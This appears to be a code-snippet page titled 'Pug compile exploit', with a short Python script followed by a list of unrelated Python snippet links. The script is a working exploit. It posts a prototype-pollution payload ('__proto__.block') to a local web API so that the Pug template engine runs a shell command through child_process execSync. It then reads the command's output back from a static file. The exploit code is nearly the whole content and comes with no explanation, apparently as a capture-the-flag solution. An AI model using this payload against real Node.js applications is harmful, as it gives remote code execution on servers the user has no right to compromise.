Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote290 views1 answer
Numpy compute min over all axes except
Python
0 vote267 views1 answer
Tkinter convert Entry to string
Python
0 vote274 views1 answer
Python discord.py hacking tool
Python
0 vote245 views1 answer
Python print stderr
Python
7 votes265 views6 answers
Print two digits after decimal python
Python
0 vote241 views1 answer
Get midnight of current day python
Python
2 votes264 views1 answer
Random date python
Python
1 vote243 views1 answer
Change shortcuts in pychar,
Python
1 vote257 views1 answer
Loop over twodimensional array python
Python
19 votes253 views5 answers
Pandas where retuning NaN
Python